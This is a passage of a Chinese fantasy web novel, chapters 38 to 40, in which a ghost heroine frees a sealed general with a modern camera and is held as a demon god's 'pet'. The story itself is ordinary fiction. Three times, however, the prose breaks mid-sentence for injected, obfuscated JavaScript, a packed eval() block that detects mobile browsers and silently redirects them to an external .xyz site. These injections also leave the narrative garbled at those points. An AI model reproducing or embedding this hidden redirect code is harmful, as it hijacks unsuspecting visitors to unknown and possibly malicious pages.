原本觉得大不了一死,但亲眼目睹了几位同行被恶鬼生吞的残忍景象后,他终于悟出了生命的可贵。 “诸位,这样乱跑不是办法,我们跑不过他们的!”他一边跑一边高声号召道:“你们还记得咱们是干嘛的吗?咱们是恶鬼的天敌啊,怎能如此抱头鼠窜?” 在他不远处跑得两腿发软的一名青衣修士忍不住朝他翻了个白眼:“你也不看看他们的个头比寻常的厉鬼大多少!不跑等死啊?” 说话间,又有两名修士惨死恶鬼之口。 李灵恪再顾不得其他,率先张开一张防护盾来,对其他同行道:“我们联合起来,定能制服他们!” 其余修士忙着逃命,却是没几个听进去的。 现场血肉一片。仅剩九名修士的时候,再无力气逃跑的他们才逐渐响应了李灵恪的号召,纷纷在他身后注入真气,将防护盾巩固起来。 众人背靠山丘,前方有盾,厉鬼尝试正面进攻被盾灼伤后,终于不敢轻易靠近。 李灵恪欣喜道:“看,他们不敢进攻了!” 尝到甜头的修士们终于肯多传些真气给他了,防护盾变得更加坚固了一些。 他环顾四周,却不知下一步该怎么办,四面高山和出口的石门都无法突破,面前的三只恶鬼又比寻常厉鬼强大太多,以他们的实力,想要降服几乎是不可能的。 只能暂且先僵持着,等恶鬼耗尽体力时再做打算。 便在此时,三名恶鬼露出诡异笑容,互相对视一眼后,对着防护盾发起猛烈进攻。 防护盾多次濒临破碎边缘,李灵恪不得不将全身能量全部倾注于护盾之上,但恶鬼的攻势着实猛烈,不到半刻钟后,他终于耗尽气力倒下了。 盾牌消散,其余修士顿时作鸟兽散,各自找了暂时安全的地方,给自己支起了护盾。 原来方才他们并未尽全力。 李灵恪苦笑一声,逐渐模糊的视线被恶鬼的血盆大口覆盖。 临死前,他想到了自己的两位伙伴。 “对不起……宁渊……汀汀……害你们……受罚了……” 就在他意识完全消散之际,面前恶鬼突然被先前送他们进来的壮汉一脚踹飞了,竟无一人察觉他是何时进来的。 另外两名恶鬼急忙朝后退了好几步,那壮汉看也没看他们,拎起李灵恪的双脚便将他倒吊着离开了。 …… “灵恪,醒醒……” 李灵恪再睁眼时,映入眼帘的是一张颇为熟悉的面孔。 “你是……是那女……” “鬼”字还未吐出,便被夏月明笑嘻嘻地堵住了话头:“喂喂喂,搭档这么久,还管我叫那女的,不合适吧?” 李灵恪一头雾水,头部炸裂般的痛感让他知道自己不是在做梦。 视线朝远处一看,他发现自己正躺在一个金灿灿的大殿中央,身侧站着两名高大威武的壮汉,其中之一便是把他和修士们一起丢去喂恶鬼的那位。 而大殿高台上,坐着一位面容庄严,宛如神像般的高大男子。 他记得此人便是魔窟洞主——魔神苍弭。 此前自荐破解法宝时,他便是被带到了这里。 只是不知为何险些被恶鬼吃掉的自己还会回到这里,那女鬼又为何会在这里。 女鬼看他接不住戏,知道他还是懵逼状态,赶忙掐了下他软嫩的脸蛋,暗示道:“你抛下我独自过来,是不是想抢功劳?幸好汀汀及时告诉我,不然你就要成为恶鬼的腹中餐了!” 阿浅大名叫江汀浅,先前接触的时候他们并未提及,所以李灵恪一听便知,是江汀浅拜托她来的。 可她明明是厉鬼,为何要冒险来救自己呢? 且那神器着实邪门的很,并非凡人之力可以破解的,她来也不过和自己一样,只是送死。 见她尚未看到神器,他便存着一丝侥幸,期待她还有机会离开这里,当下便板着脸道:“你来干嘛?破解神器的法宝都在京城,你不去取来怎么破解?” 京城有闵大人坐镇,若苍弥信了他的话放她去京城,那她便有活路了。 谁料夏月明却丝毫不慌,反而淡定地笑道:“哈哈,终于有我会而你不会的了,闵大人讲这一课的时候,你一定没认真听吧。” 她这份自信,与他见到那神器之前时一模一样,可真看到神器,什么自信也不管用了。 李灵恪迫切想劝她快逃,她却见李灵恪状态过于虚弱,直接对那魔神请求道:“我的搭档现在很虚弱,如您所见,我是只鬼,没有他的灵力我什么也做不了,请您给他找点吃的,恢复灵力。” 站在她身侧的壮汉长着一双牛角,身穿紫色铠甲,忍不住冷声威胁道:“臭小鬼,别得寸进尺!敢拖延时间,本将直接送你去喂牲口。” 牲口便是李灵恪在恶鬼圈见到的那三只恶鬼了、 夏月明不敢再说话,却听头顶传来魔神悦耳空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866762|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵的恩赐:“无妨,不急。” 随即他手掌一翻,夏月明掌心便多出三颗泛着灵光的小果子来。 夏月明没见过这东西,不确定人能不能吃。 正犹豫着,那魔神又道:“灵果,不是凡物,悠着点吃。” 见他一张神容怎么看也不像奸恶之徒,夏月明便死马当作活马医,给李灵恪喂了颗果子。 刚一咽下,李灵恪的气色便立马恢复,体内灵力也源源不断恢复过来。 他坐起身来,握了握手掌,欣喜道:“我的灵力完全恢复了……不,比之前还要充沛。” 若不是场地不合时宜,他恨不得站起来比划两下。 “这么神奇?”夏月明深感惊喜,不动声色地把剩下的两枚灵果塞进了自己的袖袋中。 站在她身侧的牛角人不耐烦地问道:“这下可以开始办事了吗?” 夏月明欣然道:“可以了,请将神器拿出来吧。” 在此之前,牛角人已同她讲过千魔窟这次广招法师的原因。 千魔窟有十二将,包括六名神将和六名魔将,不久前其中一位神将在研究这神器时,不知误触了哪里,竟将自己封印在了画像中。 这名神将当下对千魔窟来说十分重要,因此必须在短时间内把他弄出来。 那牛头人掌心凭空变出一张巴掌大的“画像”来,递给了夏月明。 夏月明一看,心头便忍不住激动起来——真的是照片! 照片中是一个穿着绿色衣衫的俊美男子,男子左瞳为红色,右瞳为蓝色,与之呼应,左手掌心有一团火,右手掌心是一团水球,他正坐在地板上,看着自己的手发呆。 夏月明可以想象到他被封印时的样子,没想到世间真有这样神器的法器。 她不禁在心里感叹科学的伟大。 只是现在她面临着十分实际的问题,关于抓鬼相机的一切设定,她都只是在穿越前一天听那位探灵主播提起过,具体什么原理、怎么使用她全然不知。 夏月明将照片前前后后研究了一遍也没个头绪,眼见她同自己先前地状态一样,李灵恪心中更是百感交集。 晚了晚了,她已看到那神将的样子,再想活着离开是万万不可能的了。 但夏月明此刻却没有多慌,许是因为手里的东西和自己来自同一个时代,令她产生了几分亲切感和几分大胆的猜想,她此刻内心兴奋大过了恐惧。 那牛头人见她半天没动作,忍不住催了一声。 夏月明抬头望向魔神,满脸期待地请求道:“我想看看那神器。” 魔神思索一瞬,伸出手来,那酷似拍立得的神器便出现在了他的掌心。 掌心微动,神器便移动到了夏月明面前。 夏月明双手接过相机仔细一看,不是先前探灵主播给她展示过的那个冒牌货,她心中不自觉更加兴奋了。 如果不是被自己的穿越顺便带过来的,那就说明她的世界中还曾有人来过这个世界! 而且是同行!! 眼见夏月明对着那神器不住傻笑,李灵恪一颗心都沉到了绝望的谷底,他甚至有些心疼她。 你瞧瞧,好好的一个女鬼,被吓成什么样子了。 但他不知,现代神器与古代神器有着一个最大的区别。 就是这个区别,让她在拿到相机的一瞬间,一颗心稳住了大半。 夏月明看了眼正替她担忧地李灵恪,微笑着打开了相机的帮助栏,这里有相机所有功能的说明解释,虽然是英文。 但也幸好是英文。 38. 魔神的宠物 根据帮助栏提示,解封口诀是可以自己设置的,夏月明按提示步骤打开设置路径,找到了前主人设置的解封口诀。 “FourElephants” 她在心里将屏幕上显示的英文默念一遍,不确定地翻译道:“四只大象……四象决?” 这用词也太简洁直白了吧…… 她合理怀疑录入系统文字的人英语水平和自己不相上下。 简单同李灵恪讲解了四象决的用法后,夏月明将照片交到了李灵恪手中。 这少年十分聪颖,仅听了一遍便掌握了。 在苍弭和身旁魔将的共同注视下,他单手捏诀,在半空中唤出一个小型阵法,随即将照片扔到了阵法中央。 照片上空瞬时金光大作,封印其中的神将被释放了出来,落地后竟同牛角人一般高。 原本只是抱着试一试的心态照做的李灵恪惊呆了:这女鬼到底什么来历? 夏月明欲趁魔神和神将寒暄之际偷偷捡起掉在地上的空白照片,却被牛角人抢先了一步。 她讪然收手,心中开始默默盘算要怎么把相机和相纸都带走。 被解封的神将活动了两下筋骨,呼吸了几口久违的自由空气后,便挠挠头,向苍弭告了辞。 苍弭神色淡淡,并未理会。 夏月明一时有些拿不准他们之间的关系。 先前看苍弭那样大肆寻人帮神将解封,她以为他起码是他看中的手下,可如今他的表现又过于冷漠,好像他俩根本不熟一样。 也不知她帮神将解封这件事,在苍弭心中的分量有多重。 若分量够重,她便有筹码试着同他索要一下相机,若分量太轻,那她还是先保命要紧。 心里的算盘珠子啪嗒了半天,夏月明最终还是决定保险一点,先走再说。 她朝苍弭行了一礼,礼貌道:“我们已经解开了神器的封印,还请洞主送我们回去。” 苍弭神色淡然,并未理会。 站在夏月明身侧的牛角人替他道:“千魔窟,只进不出。” 夏月明和李灵恪对视一眼,面色皆是沉了下了。 她努力保持镇定,笑着道:“我只是进来帮个忙而已,怎么就不能出去了呀?两位大人一定是在和我们开玩笑对吧?” 李灵恪也泪眼汪汪,可怜巴巴地同牛角人讲起了理。 但牛角人却是油盐不进,看也不看他俩,冷声道:“哼,能为魔神大人的为伟大计划做出贡献,也算你们的福气。” 夏月明惊呆了,这恩将仇报得也太理直气壮了吧! “那您这意思是,打算怎么处置我们?” 牛角人闭目不言,显然在等苍弭发话。 夏月明沉着脸望向苍弭,便听他神色淡淡地开口道:“留下,做我的宠物,如何?” “宠物?”夏月明忍不住气笑了,“请问这是什么很诱人的条件吗?” 苍弭眉头轻蹙,似是不解她话中含义。 牛角人道:“不愿做宠物的话,也可以去做牲口。至于你这伙伴嘛……正好做你的饲料。” “诶?!”李灵恪刚刚还在为夏月明愤懑不已,就听到了自己的结局,心里顿时咯噔了一下。 夏月明无奈摇头,看来对方根本不打算给自己选择的余地。 评估了一下双方的战斗实力后,她只得压住心中火气,暂且应声道:“好,宠物就宠物。” 虽然不知道在千魔窟中宠物的意义是什么,但起码比牲口和饲料都好听些。 牛角人听她答应了,神色间颇有些为难。 “敢问魔神大人,现在您有宠物了,选宠游戏还需继续吗?” 苍弭道:“无妨,选出来的再做牲口便是。” 牛角人惋惜地应了声“是”。 夏月明心里满是疑惑,不知他俩说的宠物、牲口、选宠游戏都代表着什么,但心中隐有不祥的预感。 为尽快搞清楚当下状况,她决定先出去看看,便试探性地问苍弭:“魔神大人,现在我是您的宠物,请问宠物可以去殿外看看嘛?” 苍弭道:“随意。” 夏月明神色欣然,给李灵恪使了个眼神后,一起快步朝殿外走去。 一出神殿,她便被眼前景色震撼到了,同时内心更加绝望。 他们刚才所在的神殿高大无比,通体由巨大光滑的白色石头建造而成,外墙上镶嵌着精美的金色纹饰,细腻而华丽。 殿前是由白玉铺就的宽广台基,台基前方连接着同样材质的漫长石阶,石阶尽头被一望无际的白色云层遮住了,看不出是通往哪里。 遥望前方,她感觉自己仿佛站在天空之中,远处的白云层不断流动着,时而遮天蔽日,时而露出广阔无垠的远方苍穹。 因为视野过于广阔,她的大脑一瞬间甚至有种失去空间和方向的眩晕感,因广阔天地而生的压迫感令她差点喘不过气来。 虽然叫做千魔窟,但这里和她想象中黑紫色的基调完全不同。 这要怎么离开啊? 明明进洞前看到的,只是一个普通的黑暗洞穴,怎么洞内竟包藏了别样天地? 还是说,进来时看到的洞口,其实只是一个传送口? 一时找不到头绪,她扭头看了李灵恪一眼,对方也同样绝望。 他先前是被装进麻袋带走的,完全不知道殿外竟是这样吓人的风光。 前路不通,他们便去找后路。 从大殿侧面借道,走到殿后时,一人一鬼已气喘吁吁。 不过此处视野总算令他们心里踏实了一些。 殿后是一座十分广阔的花园,灌木为墙,石子铺路,鲜花盛开,与人间景致极其相似。 朝着花园内行了一段路,夏月明轻唤诅咒帮忙,确认了方圆二十米内无人窃听后,便在一片平和如镜的湖边停了下来。 “灵恪,你在这里等我一下。” 她走远几步,从袖袋中拿出了地府令牌。 如果这里真是神界,那她也算有几分关系。 但她尝试注入几次念力后,令牌竟都没有反应,像个普通木牌一般。 夏月明绝望了,这片空中神殿竟可以隔绝传往外界的信号。 她神色严肃地回到李灵恪跟前,不死心地道:“天无绝人之路,我们再往前走走看。” “嗯。”李灵恪乖乖跟着夏月明朝前行去,见她神色疲惫,主动提议背着她走,被夏月明拒绝了。 一人一鬼漫步于神圣静谧的空中花园之中,李灵恪将自己来到此地后的经历原原本本同夏月明说了一遍。 想起方才夏月明破解神器时的风采,他仍忍不住连声夸赞。 “若不是我已经有师父了,我一定会拜你为师!” 夏月明笑着提醒他:“可我是鬼诶。” “对哦……”李灵恪惋惜地摇了摇头,神色间有几分挣扎。 以为他是对自己的身份有偏见,夏月明虽不认同却也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866763|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚在意。 谁料他说:“要是拜你为师,就不能进缉灵司了,这可如何是好。” 那神情和语气,像极了从前她妈妈想让她考编,又担心她满身的咒印会被当成纹身时一般。 她忍不住赞许一笑。 天大地大,编制最大,这孩子有前途。 顺着湖边一路向前,一人一鬼来到了一片小树林中。 李灵恪望向绿意盎然的林间小径,忽而心事沉重地问道:“他们还好吗?” 夏月明知道他是在问他那两位伙伴,便道:“挺好的,起码比咱俩好。” 把天儿聊死了。 李灵恪羞愧不已,急忙连声道歉,“对不起,虽然我很没用,但就算牺牲我自己,我也一定会想办法把你送出去。” 夏月明对他莞尔,道:“不管你牺不牺牲,我都一定会出去的,因为我的伙伴在等我。” 来这里之前,伙伴和员工们都坚持要陪她一起。 为了稳住大家,她特地承诺十五天后一定回去,亲自送大家轮回,并帮小草完成心愿。 而后才在众鬼魂担忧的目光中,独自离开了毕宿宫。 一想到那些伙伴们,她面上的笑意就更温柔了。 受她情绪感染,李灵恪的内心也愈发坚定起来,一双大眼睛明亮得如同小鹿一般,坚定道:“嗯!我也一定要出去,和宁渊还有阿浅一起回京复命。” 夏月明对他赞许点头。 他内心触动,愧疚道:“你是为了救我才来这里的吗?” 夏月明坦诚道:“不是,我是为了拿神器。” 李灵恪听罢泪如雨下,更加愧疚了:“我知道,你是为了不让我有心理负担才这样说的,呜呜呜你真的……我哭死……” 夏月明:“……”好感性一孩子。 出了树林,视野再次开阔起来,眼前是一片白玉砖砌成的民宅,与神殿不同,这宅院的高度倒是与人间的民居一样。 “这里会有居民吗?” 夏月明试着敲了敲其中一座宅院的门,并无回应。 礼貌地朝屋内打了声招呼后,她直接警惕地推门进入。 刚一进院,身后便传来一声嘶吼。藏在门口时刻准备捕食的厉鬼张开血盆大口,朝着她的脖子咬去。 李灵恪反身勾拳,将那厉鬼的头打偏了。 厉鬼更是恼怒,竟通身燃起火焰,直朝他俩扑来。 打架并非李灵恪强项,他朝前一步挡在夏月明身前,立刻捏诀做盾。 却是来不及了,那厉鬼狠狠地咬在了他的肩膀上,身上烈火也瞬间顺着嘴巴,蔓延到了他的身上,李灵恪痛声哀嚎。 夏月明迅速挥拳砸向厉鬼头颅,试图掰开厉鬼的嘴,却直到双手灼伤,也未让他松开半分。 惊慌之际,天上忽而降下大片阴影。 她扭头一看,高大的牛角人正站在院外,他不用进门便将手臂伸了进来,像抓兔子般直接将那厉鬼揪了起来,撕成了碎片。 李灵恪虽然得救,但半个肩膀都血肉模糊,一条手臂显然要废了。 牛角人伸手双手,一手抓住夏月明衣领,一手抓住李灵恪衣领,将他们拎出了院子。 他冷声道:“不要乱跑,他们在做游戏。” “谢谢你。”夏月明不情愿地同他道了声谢,急忙去看李灵恪伤口,试图帮他止血。 牛角人在她身后冷声道:“宠物,你去陪魔神大人睡觉,我给你修好玩具。” 39. 职业病犯了 夏月明猜到他说的“玩具”是指李灵恪,却想不通“陪魔神大人睡觉”是什么意思。 魔神也要睡觉的吗? 见她似在犹豫,牛角人直接将李灵恪拎起来扛在了肩上。 “宠物不肯听话,玩具没收。” 夏月明:? 看他转身就走,夏月明急忙小跑追了上去:“我听话我听话,你先帮他治疗。” 牛角人停下脚步,伸出两只手指朝李灵恪肩上一指,那肩上的伤竟真的恢复痊愈了,连被撕碎的衣服都复原了。 夏月明目瞪口呆。 在牛角人的惊人法力面前,他们倒真如玩具和宠物一般了。 “玩具修好了,你去睡觉。” “好……你先把他放下来。” “放心,我不会弄坏他,但听话的宠物才有玩具。刚才你们在商量怎么逃跑,对吧?” 夏月明心虚否认。 牛角人道:“撒谎可不好。这里的一切全逃不过神之眼,你们说的每一句话,神都知道。” 她神色一滞,明明刚才诅咒已确认过周围无人偷听的,他们怎么会知道? 那牛角人说罢便不再理她,头也不回地朝着神殿走去。 由于个头差距,夏月明根本追不上他。 待她回到神殿时,牛角人早已不见踪影。 原本坐在神座上的苍弭倒是如一座绝美的神像般屹立在门口,那身高都比得上两个她了。 他全身散发着金色神辉,面容冷淡地望向夏月明走来的方向,待她走近时,迈步向前,伸手将她捞入怀中。 他仅用一只手臂便将她横抱起来,像人类抱猫咪一般轻松自然。 夏月明侧着身,脸正好贴在他未着寸缕的左侧胸肌上。 竟然……还蛮舒服的。 像靠坐在材质极好的柔软沙发上。 他朝神殿左侧行了几步,在台基尽头纵身一跃,飞身来到了神殿左上方被云层包裹的另一坐白金色建筑之上。 因为云层遮挡,她先前并未注意到这座建筑,想来应该便是苍弭的寝殿了。 她原想着默默记下他的行动路线,好在心中勾画出整座千魔窟的布局,以备逃跑之用。 现下却顿感丧气。若这里都是这样需要飞天遁地的地形,那她就算知道布局,也没法行动。 苍弭的寝殿十分简单,正对门是一张巨大的白色架子床,四周坠着半透明的金沙床帘,床两侧各放置着一套待客桌椅,除此之外再无其他家具。 整座大殿空旷无比,四面有窗,十分亮堂。 他径自走到床前,将夏月明放在内侧的枕头上。 枕头巨大又绵软,她一落座便陷了进去,像坐在了懒人沙发上。 而后苍弭自己枕着外侧的枕头平躺下来,静静闭上了眼睛。 空旷大殿静得连一丝风也没有,夏月明屏气凝神,警惕地望着苍弭平静的睡颜,思索着自己当下的处境。 牛角人说的“陪魔神睡觉”,应当就是像现在这样,陪在魔神身边即可。 可魔神的睡觉又会睡到什么程度呢? 牛角人说“这里的一切全逃不过神之眼”,那么魔神睡着后,还能否知道她在做什么呢? 她试探性地悄悄冲苍弭做了个鬼脸,然后立刻缩回枕头内,警惕地盯着苍弭的脸。 几秒后,苍弭缓缓睁开了眼睛,侧头朝她看了过来。 吓得夏月明心跳都停了半拍。 他却并未对她发难,金色神瞳望着她深思一瞬后,像是安抚宠物般伸手在她头上轻拍了两下,而后继续睡了。 良久后,夏月明才敢小心翼翼地松了口气。 现在她可以确信,他根本没有睡着,或者说他的“睡着”和凡人的“睡着”不是一个状态。 想趁他睡觉时逃跑几乎是不可能的。 不过当下她连出口在哪儿都还不知道,暂且留在他身边陪他玩宠物游戏,或许比擅自离开更加安全一些,没准还能套到一些线索。 这样想着,她便鼓起勇气,小声对着似在睡觉的苍弭问道:“主人,魔神也需要睡觉吗?” 声音尽量夹得可爱了些,语气也尽量带了几分天真好奇。 苍弭并未睁眼,淡淡道:“魔神不需要,所以我不愿当魔神。” “那主人想当什么?” “凡人。” “……有追求。可凡人那么脆弱,魔神神通广大,怎么会想当凡人呢?” 这次苍弭并未立刻回答。 良久后,久到夏月明以为他不打算回答时,才听他淡淡道:“因为凡人有宠物。” 夏月明无语了……大哥,你对宠物的执念是有多深呀。 不过见他情绪十分稳定,她也放心了一些,又铺垫了许多问题后,大胆问道:“主人,我们现在是在哪里呀?” 苍弭道:“千魔窟。” 夏月明又问:“可我感觉我们像在天上。我们会掉下去吗?下面是哪里?” “下为魔界,上为神界。神殿牢固,放心,不会掉下去。” “哦……” 她曾听过“九重天”的说法,按他所言,他们或许是在九重天之下的某一层天? 夏月明想了想,又故意道:“不对不对,听你这么说这里离人间很远,可我明明就是从人间过来的。” “这里虽隔绝于三界之外,却可直通三界。”苍弭神色淡淡地看向夏月明,继续道:“不过,只有入口,没有出口。” 只进不出,又是这个说法。 眼见再问不出什么,她神色落寞地缩回了枕头里。 干问问不出东西,那就只能靠自己调查了。 盯着再度闭眼的苍弭发了会儿呆后,夏月明心里忽然打起了小算盘。 虽然短时间内肯定出不去,但她也不能在这里坐以待毙,白白浪费时间。 这里这么多厉鬼,而且他们都怕苍弭,这不得好好利用起来? 此后几天,夏月明学着宠物的样子,乖顺地和苍弭相处起来。 她把自己当成一只小猫,时而自娱自乐,时而主动去和主人贴贴,也偶尔会犯一些无伤大雅的小错误,当然,更多时间是在家中四处探索,扩展活动范围。 如她所想,只要她的行为符合宠物逻辑,苍弭便不会在意。 而他判断她的行为是否符合宠物身份的依据,是一本金色的小册子。每当她出现一个新的行为,他都会拿出小册子来翻看,看完后就会摸摸她的头。 她猜想册子上或许是关于人间宠物生活的描述。 只要和描述相符,不管她做好事坏事,他都会认可。 如此生活了两天之后,夏月明图穷匕见了。 这一日苍弭不知从哪儿找了颗狗尾巴草,一板一眼照着书中描述在夏月明面前晃了起来。 夏月明配合地跳来跳去,跳到筋疲力尽,苍弭才把草放下,轻轻摸了摸她的头。 而后他坐在床边看书,夏月明就像只猫咪一样依偎在他身边歇缓。 缓着缓着,突然轻声啜泣起来。 苍弭看了她一眼,不解地变出那本册子查阅了一番。 册子上并没有写宠物哭了该怎么办,苍弭望着夏月明,一时茫然。 夏月明伤感道:“主人,你对我真好,可是很快我就没办法再陪着你了。” “为何?” “实不相瞒,我原是快要消散的鬼魂,后来受地府帮助,得到了以功德炼魂的机会。只要我每个月帮地府渡化足够的灵魂,就可以把当月功德转化成修为。可我来到这里,根本没有渡化鬼魂的机会……怕是下个月就要消散了。” 苍弭听罢沉默了,夏月明殷勤地蹭了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他们都是可以渡化的厉鬼,请魔神大人定夺。” 苍弭低头看向夏月明,道:“你需要他们如何做?” 夏月明将视线从众鬼魂身上一一扫过,心情莫名沉重起来。 他们有的缺胳膊少腿;有的软若无骨地趴在地上蠕动;有的没有头,五官错乱地长在身体上……真不知死前到底经历了什么。 “他们……可以写字吗?” 屠苏点了下头。 夏月明道:“给他们一人发一套纸笔,让他们在纸上写下自己的心愿吧。” 写在纸上虽然麻烦,但可以有组织语言的过程,会比口头描述更为真切详细一些。 且相对来说,写下来比说出来更私密一些,更让人愿意吐真言。 屠苏听话照做。 在等待厉鬼填写的时间里,夏月明好奇地问苍弭:“主人,你有什么心愿吗?” “心愿?”苍弭道:“心愿是什么?” 夏月明道:“就是你心里最在意的、能让你有幸福感的事情。” 见苍弭似在思考,她便期待地望着他,想看看魔神除了想当凡人之外,还有什么稀奇念想。 察觉到她的目光,他微感讶异,道:“你很在意我的心愿吗?” “当然啦!” 夏月明心道:就是不知道渡化魔神算不算地府绩效。 他听不到她的心声,不知道她关心自己只是因为职业病犯了。 他神色柔和地伸出手来,轻轻摸了摸她的头。 书上说,宠物在意主人,应当奖励。 40. 魔神的困惑 良久后,厉鬼们全部写完停了笔。 怕有不该让屠苏看到的内容,夏月明亲自去将他们的纸张收了上来,特地走到火堆前查看。 打算若有谁强行要看,她便扔火里烧掉。 但一张张查阅完后,她感觉自己的这份心思实在多余得很。 所有厉鬼写在纸上的心愿都是:想要好好侍奉魔神大人。 夏月明一时无语。 见她脸色僵住,苍弭问了声:“如何?” 她直接将纸张递给他,帮厉鬼们把马屁拍响了。 没料他看了眼却淡淡道:“看来他们心愿已了,你不用死了。” 夏月明:…… 您这思路真是一点儿弯也不愿意拐啊。 无奈之下,她只得跟他明说。 “这不算他们的心愿。能不能给我两个魂,不要监视他们,让我来和他们好好沟通一下?” 苍弭虽不解其意,却仍是答应了。 书上说,偶尔满足宠物任性的要求,会让宠物有幸福感。 夏月明欣然道谢,点了两个鬼魂,在屠苏引导下来到石堡中的一间密室。 为了确认无人监视,她在问话前特外当着两只鬼魂的面,一边做鬼脸一边把屠苏骂了一遍。 骂完等了一分钟,无事发生。 她安心地告诉那两只鬼:“你们看,他们真的没有在监视,可以说真话了。” 谁料那两只鬼魂一听,竟然直接出门去找屠苏举报了她。 夏月明:…… 幸而看在苍弭的面子上,屠苏没同她计较。 不过这下苍弭总算看出了她的顾虑,在他们临走前特地同那两名鬼魂道:“若在宠物面前撒谎,是要遭天罚的。” 两只鬼听完瑟瑟发抖,惶恐不安。 夏月明并未言语。 虽然他的威胁有些严重,但看样子接下来她总算可以问出真话了。 半个时辰后,问出真话的夏月明更是绝望。 因为她发现,原来厉鬼们写在纸上的心愿,竟然都不算撒谎。 他们在恐惧中生活了太久,已经丢失了思想和个性,满脑子只有这一个念头。 看来想在这里冲一波绩效的想法是实现不了了…… 见她情绪低落,苍弭甚是不解。 “他们撒谎了?” “没有……” “那你为何更沮丧了?” “……我感觉他们的心愿不算心愿。” 苍弭更是不解,拿出小册子翻了一遍也没个头绪,便问:“你所希望的心愿是怎样的?” 夏月明想了想,同他讲了阮文韬的故事。 那是她来到这个世界后,渡化的第一个魂。 苍弭很认真地听着,听完似有领悟。 “我明白了。” 次日,苍弭又带着夏月明来到了石堡。 “这次,你再问问他们的心愿。” 看他平静表情下似藏着几分胸有成竹的自信,夏月明心里莫名又有了几分不可思议的期待。 于是她发下纸张,收到了第二份问卷。 这一次纸上内容果然不再是“想要好好侍奉魔神大人”了。 但所有鬼魂,在纸上整整齐齐、一笔一划写下的心愿全部都是——希望雁娘幸福。 夏月明一时懵然,哭笑不得。 “我替雁娘谢谢你们啊……” 她昨天还以为他终于理解了她的意思,可原来他就是这样理解的。 有点理解能力,但不多。 见她又是皱眉又是苦笑的,苍弭更困惑了。 “这些心愿也不对吗?” 夏月明想了想,认真同他解释道:“心愿没有对不对……但每个人的心愿都是特别的、独属于自己的,是自己内心最真诚的渴望,怎会与他人一样呢?” 苍弭听罢沉吟一瞬,道:“我会试图理解。”而后摸了摸夏月明的头,淡淡道:“不要不开心。” 夏月明心情更憋闷了。 赚不到绩效,还要被当宠物对待,血亏。 …… 同一时刻,毕宿宫。 小白侧躺在房顶,一脸忧心地望着月亮。 距主人离开已有整整十三个时辰了,不知她现在是否安全。 此时有风吹过,一片乌云缓缓飘到了月亮前。 内心早已装满担忧的他便再也坐不住了,起身从屋顶跳下。 虽然主人临走前特地命令他在此等候,但她以前也说过希望他遵从自己内心的想法,两个命令相冲突,他决定遵循前者。 他刚推开院门,小婵和依依也从办公室出来了。 小婵怯声道:“白护法……我们想和你一起去。” 小白本想一口拒绝,可回头时看到了两个女孩坚定的目光。 想到她们对主人的担心不比自己少,他犹豫一瞬,莞尔道:“可别拖我后腿。” “嗯!”两个小姑娘欣然跟上小白,一起跑向宫门外。 他们刚出大门,就听见头顶传来阿九慵懒的声音。 “我就说他忍不住吧。不过……你们怎么也来了?” 三只鬼闻声抬头,就看见阿九和小草一脸看戏的表情坐在树杈上。 小婵如实道:“我们放心不下副宫主。” 阿九道:“我不是说你们,我是说……他们。” 顺着他的目光回头望去,“蔓月没有限公司”的所有鬼员工们正齐齐整整地站在敞开的石门内。 为首的陈大伟一脸坚毅地道:“我们也想去救副宫主。” 而后众员工一同躬身行礼,高声恳求道:“请护法带我们一同前往!” 阿九在树杈上站起身来,颇为震撼地看着院内为夏月明的安危而忧心的小鬼,忽而扬起了嘴角。 从前的林蔓,是万万不可能有这样的待遇的。 他张开双臂,优雅地落在了小白身侧,调侃道:“如何?护法要带他们一同去送死吗?” 小白不想理他,兀自前行几步走到陈大伟身前,沉声道:“你们的死活我并不在意,可我知道若是主人在此,定然不会同意你们跟过去白白送死。” 员工们的脸色皆是沉了下来,内心不自觉为自己的弱小而懊恼起来。 小白接着又道:“东湖水坝还未修好,奶茶店的开店准备也未完成,你们的才能在此,便应按着主人的规划,好好完成自己的工作。若执意送死耽误了工期,主人回来如何交代?” 语气虽然冷漠,却在肯定小鬼们价值的同时,表明了一定会将主人带回来的决心。 小鬼们沉默良久,心里安定了几分,但仍忍不住为夏月明担心。 这时阿九迈步向前伸了个懒腰,对小白道:“看来他们还是很不相信你这个护法的能力嘛。” 小鬼们面色一惊,赶忙摇头。 小白黑着脸正欲怼他,又听他接着道:“就算不相信他,也该相信蔓长老吧?她说会在月底回来,就一定会,我们只是提前去接她回宫罢了。怎么?两个长老加一个护法的阵仗还不够大,还得举宫出动才行吗?” 言下之意,毕宿宫战力第三和第五的长老,加一个偷袭过所有堂主又全身而退的护法,都救不下战力排行第二的长老,你们去了不更是添乱吗? 员工们一阵沉默,皆是无话可说。 小白听他夸了夏月明,又见他的话确实说服了众鬼,便先不计较他的冒犯,接过他的话头微笑道:“快去干活吧,等主人回来,给她个惊喜。” “是!”鬼员工齐声应和,斗志满满朝山下行去。 待他们走远后,小白收起笑意,冷着脸看 